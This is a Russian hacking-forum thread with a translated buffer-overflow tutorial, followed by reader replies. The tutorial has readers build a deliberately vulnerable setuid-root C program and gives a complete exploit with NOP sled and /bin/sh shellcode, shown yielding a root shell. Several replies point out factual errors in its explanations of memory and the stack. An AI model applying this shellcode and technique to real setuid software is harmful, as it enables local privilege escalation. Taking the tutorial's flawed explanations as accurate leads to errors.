Статьи Пишем эксплоит

Discussion in 'Статьи' started by ++Norton++, 15 Dec 2007.

  1. ++Norton++

    ++Norton++ Elder - Старейшина

    Joined:
    20 Nov 2006
    Messages:
    167
    Likes Received:
    39
    Reputations:
    0
    Переполнение буфера -базовый уровень - написание шелл кода

    Что такое эксплоиты?
    Эксплоит (Exploit) - это программа которая использует ту или иную уязвимость в программном обеспечении. Цели эксплоита могут быть различны. Некоторые служат для выполнения произвольного кода на компьютере жертвы, другие для отказа в обслуживании (DoS - Denial Of Service). Эксплоит может быть написан практически на любом языке программирования. Чаще всего для их написания используют C, C++, Perl. Для того, чтобы понять как написать эксплоит, нужно понять, как распределяется память и какие процессы происходят при запуске программ.

    1.1 Память​

    В начале, память компьютера может показаться пугающей и непонятной. Но в последствии можно убедиться, что это не какие-то чудеса, и по сути ее можно сравнить с гиганским калькулятором. Это просто байты, хранящиеся во временной памяти, на которые указывают их адреса. Эта память может быть доступна по ее адресам, и каждый байт, имеющий определенный адрес может быть прочитан или записан в нее. Процессор Intel x86 использует 32 битную адресацию, а это значит что может быть 2^32 или 4,294,967,296 возможных адресов.
    Существуют также специальные типы переменных, которые называются указатели. Они используются для хранения адресов памяти которые ссылаются на какую либо информацию. Процессор имеет свою специальную память, которая относительно мала. Указатели в этой памяти называются регистры. Один из более "заметных" указателей - EIP (Extended Instruction Pointer). EIP - это указатель, который содержит адрес текущей исполняемой инструкции. Другие 32-битные регистры используют EBP (Extended Base Pointer) и ESP (Extended Stack Pointer) указатели. Все три регистра важны для исполнения программы.


    1.2 Распределение памяти​

    Когда объявляют переменные в языках высокого уровня, таких как C, используют тип данных. Для этих переменных выделяется место в памяти компьютера. Например для данных типа int (integer) нужно 4 байта, а символьным данным (типа char) всего 1 байт. Это значит, что int имеет 32 бита в памяти (4,294,967,296 возможных значений), тогда как char только 8 бит (256 возможных значений).

    Также могут быть объявлены массивы. Массив это просто список из N элементов, определенного типа данных. Так 10-символьный массив, это 10 смешанных символов, находящихся в памяти. Часто массив называют "буффер", а символьный массив - "строка". Вот несколько примеров объявления переменных в языке C:
    Code:
    int integer_variable; //Переменная типа int
    
    char charter_variable; //Переменная типа char
    
    char charter_array[10]; //Символьный массив из 10 символов
    
    char *buffer_pointer; //Символьный указатель
    
    Есть одна важная деталь в памяти процессоров x86. Байты в ней распределяются как 4-байтовые слова. Фактически, это значит, что байты в памяти храняться в инверсии. Например: шестнадцатиричное значение 0x12345678 будет выглядеть в памяти как 0x78563412.

    1.3 Нуль-байты​

    Иногда 10-байтовый символьный массив использует только 4 байта. Если поместить в 10-байтовый массив слово "test", то в конце массива будут находиться дополнительные байты, которые не нужны. Нуль, или нуль-байт, служит "ограничителем". Он сообщает функции, о прекращении ее выполнения. Пример:
    Code:
    0 1 2 3 4 5 6 7 8 9
    
    t e s t 0 X X X X X
    
    Так, функция, копирующая строку, скопирует только слово "test", и остановиться на нуль-байте. Тоже самое будет и при выводе строки на экран.

    1.4 Ceгментация программной памяти​

    Программа делится на 5 сегментов: text, data, bss, heap и stack. Каждый из сегментов "представляется" в специальной части памяти, отведенной под него. Сегмент текста (text segment) также называется иногда сегментом кода (code segment). Он будет переведен в машинный код. Выполнение инструкций в этом сегменте не линейное. При выполнении программы в EIP помещается первая инструкция в text-сегменте. Дальше процессор начинает выполнять цикл, который состоит из следующего:

    1. Прочитать инструкцию на которую указывает EIP

    2. Добавить длинну (в байтах) инструкции в EIP

    3. Выполнить инструкцию которая была прочитана при шаге #1

    4. Перейти на шаг #1

    Иногда это может быть jump или call инструкция, которая изменяет EIP на другой адрес в памяти. Процессор не волнует это изменение, так как выполнение инструкций не линейное. Тоесть, если EIP изменится в шаге #3, то процессор просто вернется на шаг #1 и прочитает инструкцию найденную по адресу, на который изменился EIP.

    Data и bss сегменты используются для хранения глобальных и статических переменных. Data сегмент инициализируется глобальными переменными, строками и другими константами, которые используются в программе. В оба эти сегмента можно записывать данные, и у них фиксированый размер.

    Heap сегмент используется для хранения остальных программных переменных. Этот сегмент не имеет фиксированный размер, а значит может быть больше или меньше в зависимости от надобности.

    Stack сегмент также имеет непостоянный размер, и используется для временного хранения контекста во время вызова функции. Когда программа вызывает функцию, эта функция содержит свои переменные, и код функции будет находиться в различных местах сегмента кода (text segment). Вообще стек это структура представления данных, которая используется достаточно часто. Он имеет порядок FILO (First-in last-out). Это значит, что первое значение помещается в стек, а последнее забирается оттуда. Помещение значения в стек известно как pushing, а перемещение значения из стека называется popping.

    ESP регистр используется для обозначения конечного адреса стека, который постоянно меняется из-за добавления и перемещения данных в и из стека. FILO стека может показаться странным, так как стек используется для хранения контекста, что очень полезно. Когда функция вызвана, несколько значений помещаются в стек вместе в структуру называемую stack frame (стековый фрейм).EBP регистр (иногда называется фреймовым указателем (FP) или локальным базовым указателем (LB)) используется для распределения переменных в определенном стековом фрейме. Каждый стековый фрейм содержит параметры функции, ее локальные переменные и два указателя, которые необходимы для возврата данных назад по пути состоящем из двух этапов: SFP (Saved frame pointer) и адрес возврата. Фреймовый указатель (имеется в виду SFP а не EBP) используется для восстановления педидущего значения EBP. Адрес возврата используется для загрузки в EIP следующей инструкции, найденной после вызова функции.

    1.5 Переполнение буффера. Пишем эксплоит​

    Давайте для начала напишем программу, в которой можно будет вызвать переполнение буффера:
    Code:
    int main(int argc, char *argv[]) {
    
    char buffer[500]; //Объявляем 500 байтовый буффер
    
    strcpy(buffer, argv[1]); //Копируем в буффер 1 аргумент
    
    return 0; }
    
    Назовем эту программу "target.c". Как видно, если в эту программу ввести строку более 500 символов, это вызовет переполнение буффера. Скомпилируем и выполним ее:
    Code:
    [user@gasolina hack]# gcc -o target target.c
    
    [user@gasolina hack]# ./target test
    
    И мы увидим, что программа ничего не делает. Давайте сейчас сделаем ее понастоящему уязвимой, и зададим ей соответствующие права:

    Code:
    [root@gasolina hack]# sudo chown root target
    
    [root@gasolina hack]# sudo chmod +s target
    
    [root@gasolina hack]# ls -l target
    
    -rwsr-sr-x    1 root    users    11410 Jan 29 02:21 target
    
    Теперь наша программа полностью уязвима к переполнению буффера, осталось дело за малым - написать эксплоит.

    Первое что нужно учесть - это NOP sled. Это однобайтовая инструкция которая не делает абсолютно ничего. В нашем случае эта NOP инструкция служит для различных целей; Рядом с NOP инструкцией мы создаем большой массив, и располагаем его перед шеллкодом (более подробно написание шеллкода рассмотрено здесь). Если EIP возвращает некоторый адрес, найденный в NOP инструкции, EIP будет увеличиваться пока выполняется NOP инструкция, и в конце концов достигнет шеллкода. Это значит, что адрес возврата будет перезаписан другим адресом, который находиться в NOP. EIP сдвинеться на начало шеллкода, а значит он будет выполнен. Ниже показано представление данного буффера:
    Code:
    |-----NOP Sled-----|SHELLCODE|-----REPEATED RETURN ADRESS-----|
    Ниже представлен код эксплоита для нашей программы (exploit.c). Сначала эксплоит берет существующий указатель стека и вычитает оффсет из него. В нашем случае оффсет - 0. Потом отводиться память под буффер (в heap) и буффер с адресом возврата помещается в нее. Далее в первые 200 байт буффера помещается NOP инструкция (В машинном коде x86 процессора это значение равно 0x90). После NOP инструкции помещается сам шеллкод, с адресом возврата. И далее стоит функция запускающая уязвимую программу. А вот и сам исходник:
    Code:
    #include 
    
    char shellcode[]=
    
    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
    
    "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
    
    "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
    
    "\x68";
    
    unsigned long sp(void) // Это просто небольшая функция
    
    { __asm__("movl %esp, %eax");} // Используем return the stack pointer (возвратный указатель стека)
    
    int main(int argc, char *argv[]) {
    
    int i, offset;
    
    long esp, ret, *addr_ptr;
    
    char *buffer, *ptr;
    
    offset = 0; // Оффсет равный 0
    
    esp = sp(); // Отправляем текущий указатель стека в esp
    
    ret = esp - offset; // Нам нужно перезаписать RET адрес (адрес возврата)
    
    printf("Stack pointer (ESP) : 0x%x\n", esp);
    
    printf(" Offset from ESP : 0x%x\n", offset);
    
    printf("Desired Return Addr : 0x%x\n", ret);
    
    // Отводим 600 байт под буффер (on the heap)
    
    buffer = malloc(600);
    
    // Заливаем введенный буффер с адресом возврата
    
    ptr = buffer;
    
    addr_ptr = (long *) ptr;
    
    for(i=0; i < 600; i+=4)
    
    { *(addr_ptr++) = ret; }
    
    // Заливаем первые 200 байт в буффер (NOP инструкцию)
    
    for(i=0; i < 200; i++)
    
    { buffer[i] = '\x90'; }
    
    // Заливаем шеллкод после NOP инстукции
    
    ptr = buffer + 200;
    
    for(i=0; i < strlen(shellcode); i++)
    
    { *(ptr++) = shellcode[i]; }
    
    // Конец строки
    
    buffer[600-1] = 0;
    
    // Теперь вызовем программу ./target с ее аргументом
    
    execl("./target", "test", buffer, 0); 
    // Освободим память буффера
    
    free(buffer);
    
    return 0;
    
    }
    

    Это результат компиляции и выполнения эксплоита:
    Code:
    [user@gasolina hack]# gcc -o exploit exploit.c
    
    [user@gasolina hack]# ./exploit
    
    Stack pointer (ESP) : 0xbffff978
    
    Offset from ESP : 0x0
    
    Desired Return Addr : 0xbffff978
    
    sh-2.05a# whoami
    
    root
    
    sh-2.05a#
    
    Как видите это работает. Адрес возврата в стековом фрейме перезаписан на0xbffff978, что есть адрес NOP и шеллкода. Так как suid программы - root, то и шелл запускается с под root'ом. Это один из примеров написания эксплоитов.
    ------------------------------
    P.S. Тестировалось на Mandrake 10.0
    ------------------------------
    статья не моя, автор - неизвестен (незапомнен).
    Мой перевод с английского + дополнения и комментарии.
     
    #1 ++Norton++, 15 Dec 2007
    Last edited by a moderator: 17 Dec 2007
  2. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    Более привычно видеть Lifo, а не Filo, но это придирки :) А так статья норм, особенно для новичков, которые хотят научится писать эксплойты.
     
  3. L0rd_Ha0S

    L0rd_Ha0S Elder - Старейшина

    Joined:
    25 Jan 2006
    Messages:
    148
    Likes Received:
    102
    Reputations:
    64
    Статья довольно интересная, если сам писал - то молодец! Но у меня есть несколько замечаний/вопросов:
    1.
    Насколько я знаю, стек работает по принципу LIFO - Last In First Out, а не FILO. В одной статье стек даже сравнивается с обоймой от автомата Калашникова :) Ссылка будет ниже.
    2.
    Это как? EBP используется для восстановления предыдущего значения EBP? Если в EBP записано 0x12345678, потом я взял и записал туда 0x43218765. И как восстановить предыдущее значение? Ведь его уже там нет..

    А так в общем-то интересно почитать.
    Вот, есть еще довольно интересная статья по теме... Хм, хотел ссылку дать, а там на сервере технические работы какие-то проводятся. А пару дней назад все работало.. Хорошо, что я ее сохранил :) В общем залил на свой хост http://lanham.nm.ru/modern_kinds_of_system_attacks.mht.bz2 (на русском)

    P.S. Статью надо бы перенести в "Статьи", ибо тут ей не место. Поэтому просьба, отписаться - кто автор. Если не ты - тогда поставь копирайты!
     
    1 person likes this.
  4. ++Norton++

    ++Norton++ Elder - Старейшина

    Joined:
    20 Nov 2006
    Messages:
    167
    Likes Received:
    39
    Reputations:
    0
    Спасибо за замечание подправил. Имеется ввиду не Ebp а Sfp. Насчет Lifo сам в сомнении. У знакомого брал книжку там написано Filo. В других местах Lifo. Поэтому в сомнении :)
    Насчет авторства, незнаю какое ставить. Такой статьи на русском нет. Вообще давно писал переводил и дополнял. Если так, то какое авторство ставить?
    P.S.
    Спасибо за литератуту. Интересная вещь
     
    #4 ++Norton++, 15 Dec 2007
    Last edited: 15 Dec 2007
  5. L0rd_Ha0S

    L0rd_Ha0S Elder - Старейшина

    Joined:
    25 Jan 2006
    Messages:
    148
    Likes Received:
    102
    Reputations:
    64
    Так и напиши - статья не моя, кто автор - не помню, перевод с японского делал я + независимые комментарии :)
     
  6. ++Norton++

    ++Norton++ Elder - Старейшина

    Joined:
    20 Nov 2006
    Messages:
    167
    Likes Received:
    39
    Reputations:
    0
    Сделано :)
     
  7. grinay

    grinay IQ- 137%

    Joined:
    15 Jun 2004
    Messages:
    409
    Likes Received:
    174
    Reputations:
    305
    Только тему преименую не в "Пишем эксплоит" а например "Переполнение буфера -базовый уровень - написание шелл кода"
     
  8. nbd

    nbd Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    81
    Likes Received:
    26
    Reputations:
    3
    ИМХО норм. А Lifo или Filo не принципиально важно ибо одно и тоже :) Вряд ли у кого-нибудь возникнут проблемы с этим, а если и возникнут, то стоит после прочтения статьи поучить архитектуру ЭВМ. Молодца однозначно. Отдельное спаибо за перевод и комментарии.

    [From: groundhog] [17.12.2007 08:50]
    LIFO и FIFO это разные вещи. Если вы в состоянии раскрыть эти буквы, то поймёте сразу, первый - Last In First Out, а второй - First In First Out. Поэтому воздержитесь от использования терминов, о которых имеете слабое представление, дабы не вводить своей ложной информацией в заблуждение неискушенный таким знанием люд...
     
    #8 nbd, 17 Dec 2007
    Last edited by a moderator: 17 Dec 2007
  9. DWORD

    DWORD Elder - Старейшина

    Joined:
    24 Jul 2007
    Messages:
    129
    Likes Received:
    70
    Reputations:
    -36
    Ничего общего с организацией памяти в Intel x86 написанное не имеет. Не странно что вы находите организацию памяти слишком простой.

    EIP содержит адрес следущей инструкции после той, что в данный момент времени исполняется.

    Чего-чего? :)
    Невсегда так. И чем дальше, тем больше будем с этим сталкиваться.

    Минимальная адресуемая ячейка 1 байт, думаю это знает сегодня даже человек, далекий от программирования. Что бы значило выше сказанное? Может быть то, что в x86 порядок записи байтов многобайтового числа называется Little Endian? И никакие 4 байта тут непричем.
    Рекомендую ознакомиться с winapi функцией WriteConsole. Если речь идет про CRT'шные функции, то это надо уточнять.
    Это предложение не имеет смысла.
     
  10. mgVolt

    mgVolt New Member

    Joined:
    22 Aug 2007
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    По-моему, это из книги Д.Эриксона "Хакинг. Искусство Эксплойта" (или он взял оттуда). Кажется, это работает только на старых ядрах (где не было рандомизации стека). Или на 2.6 тоже работает?
     
  11. DWORD

    DWORD Elder - Старейшина

    Joined:
    24 Jul 2007
    Messages:
    129
    Likes Received:
    70
    Reputations:
    -36
    Никакого отношения к написанию "шеллкода" "статья" не имеет.

    Если храбрый модератор groundhog будет меньше храбриться, возможно он увидит что речь шла о разнице (а вернее ее отсутствии) между LIFO и FILO, о FIFO никто ничего не говорил
     
  12. grinay

    grinay IQ- 137%

    Joined:
    15 Jun 2004
    Messages:
    409
    Likes Received:
    174
    Reputations:
    305
    To Dword
    А что написыные эксплоиты обязательно должны эксплуатировать перепонение буфера??? Про написание шелл кода тут не сказано согласен-так как статью бегло глядел.Таких статей куча.И на про написание непосредственно переполнения.
     
  13. DWORD

    DWORD Elder - Старейшина

    Joined:
    24 Jul 2007
    Messages:
    129
    Likes Received:
    70
    Reputations:
    -36
    Это ко мне вопрос? Я не писал ничего про переполнение буфера.
    Да, и самое главное, что все они совершенно бесполезны.
     
  14. ++Norton++

    ++Norton++ Elder - Старейшина

    Joined:
    20 Nov 2006
    Messages:
    167
    Likes Received:
    39
    Reputations:
    0
    да, про старые ядра ты прав. Но цель статьи не написать конкретный эксплоит, а понять, по какому принципу работают
     
  15. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    > Да, и самое главное, что все они совершенно бесполезны.

    ДВОРД плюсадин, как бы я и не нелюбил это выражение...
     
  16. Knight_of_Darkness

    Knight_of_Darkness Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    69
    Likes Received:
    68
    Reputations:
    24
    > Да, и самое главное, что все они совершенно бесполезны.

    Джордж, ты не прав. (с)
     
  17. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Имхо, такие статьи уже много лет пишутся. Их достаточно и на английском, и на русском языках. Так что все это старье заезженное и не работающее на ядрах 2.6. Лучше б что-нить посовременнее описали...
     
  18. exzi11

    exzi11 Member

    Joined:
    4 Feb 2011
    Messages:
    18
    Likes Received:
    6
    Reputations:
    0
    немножко не понял этот момент

    Code:
    root@gasolina hack]# sudo chown root target [root@gasolina hack]# sudo chmod +s target [root@gasolina hack]# ls -l target -rwsr-sr-x 1 root users 11410 Jan 29 02:21 target
    это в *unix? если да то как в винде?